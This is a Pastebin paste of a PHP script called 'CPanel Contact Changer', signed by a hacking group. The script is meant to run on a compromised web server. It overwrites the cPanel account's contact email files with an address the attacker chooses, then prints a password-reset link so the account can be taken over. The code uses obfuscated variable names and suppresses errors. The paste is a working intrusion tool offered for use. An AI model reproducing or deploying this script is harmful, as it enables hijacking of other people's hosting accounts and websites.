Advertisement
willysec_id

CPanel Contact Changer

Dec 1st, 2020
3,483
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.91 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. ini_set('max_execution_time',0);
  4.  
  5. echo '<html>
  6.    <head>
  7.           <title>CPanel Contact Changer | MI77I-X</title>
  8.           <meta name="keywords" content="MI77I, MI77I-X, WillyPro, Hax.or.id" />
  9.          <meta name="description" content="MI77I, MI77I-X, WillyPro, Hax.or.id" />
  10.           <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  11.           <style>
  12.               body {
  13.               color:#80D713;
  14.               background-color:#333;
  15.               }
  16.               h2{
  17.               color:#80D713;
  18.               }
  19.               input[type="email"] {
  20.    border-radius: 25px;
  21.    border-bottom-color:  #80D713;
  22.    border-top-color:  #80D713;
  23.    padding: 10;
  24. }
  25. input {
  26.    color: #80D713;
  27.     background-color: transparent;
  28. }
  29. button{
  30.    background-color: transparent;
  31.    color:#80D713;
  32. }
  33. a{
  34.    color: #80D713;
  35. }
  36. a:hover{
  37.    color: #80F713;
  38. }
  39.           </style>
  40.         </head>
  41.     <body>
  42.      <!--SCC -->
  43.        <center>      
  44.        
  45.    <p><h1 style="font: 20pt cursive;">CPanel Contact Changer</h1></p>
  46.     <p>  
  47.         <form action="#" method="post">
  48.     <input type="email" name="email" placeholder="Email" style="background-color: transparent;font: 15pt cursive;color:#80D713;" />
  49.     <input type="submit" name="submit" value="Save" style="background-color: transparent;font: 15pt cursive;color:#80D713;"/>
  50.     </form>
  51.     MI77I-X | Hax.or.id
  52.     <br /><br /><br /></p>
  53.     </div>
  54.   </center>
  55.    </body>
  56. </html>';
  57. $IIIIIIIIIIII = get_current_user();
  58. $IIIIIIIIIII1 = $_SERVER['HTTP_HOST'];
  59. $IIIIIIIIIIlI = getenv('REMOTE_ADDR');
  60. if (isset($_POST['submit'])) {
  61.     $email = $_POST['email'];
  62.     $IIIIIIIIIIl1 = 'email:' . $email;
  63.     $IIIIIIIIII1I = fopen('/home/' . $IIIIIIIIIIII . '/.cpanel/contactinfo', 'w');
  64.     fwrite($IIIIIIIIII1I, $IIIIIIIIIIl1);
  65.     fclose($IIIIIIIIII1I);
  66.     $IIIIIIIIII1I = fopen('/home/' . $IIIIIIIIIIII . '/.contactinfo', 'w');
  67.     fwrite($IIIIIIIIII1I, $IIIIIIIIIIl1);
  68.     fclose($IIIIIIIIII1I);
  69.     $IIIIIIIIIlIl = "https://";
  70.     $IIIIIIIIIlI1 = "2083";
  71.     $IIIIIIIIIllI = $IIIIIIIIIII1 . ':2083/resetpass#' . $IIIIIIIIIIII . '';
  72.     echo "<center>Info Detail: </center>";
  73.     echo '<center><input type="text" value="' . $IIIIIIIIIlIl . '' . $IIIIIIIIIII1 . ':' . $IIIIIIIIIlI1 . '|' . $IIIIIIIIIIII . '|" id="cp">
  74.  
  75. <button onclick="cpfull()">Copy text</button></center>
  76. <script>function cpfull() {
  77.  
  78.  var copyText = document.getElementById("cp");
  79.  
  80.  copyText.select();
  81.  
  82.  document.execCommand("copy");
  83.  alert("Copied!");
  84.  
  85. }
  86. </script>
  87. ';
  88.     echo '<br/><center>User:<br/><input type="text" value="' . $IIIIIIIIIIII . '" id="user">
  89.  
  90. <button onclick="username()">Copy text</button></center>
  91. <script>function username() {
  92.  
  93.  var copyText = document.getElementById("user");
  94.  
  95.  copyText.select();
  96.  
  97.  document.execCommand("copy");
  98.  alert("Copied!");
  99.  
  100. }
  101. </script>
  102. ';
  103.     echo '<br/><center><a target="_blank" href="' . $IIIIIIIIIlIl . '' . $IIIIIIIIIllI . '">RESET</a></center>';
  104. };
  105. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement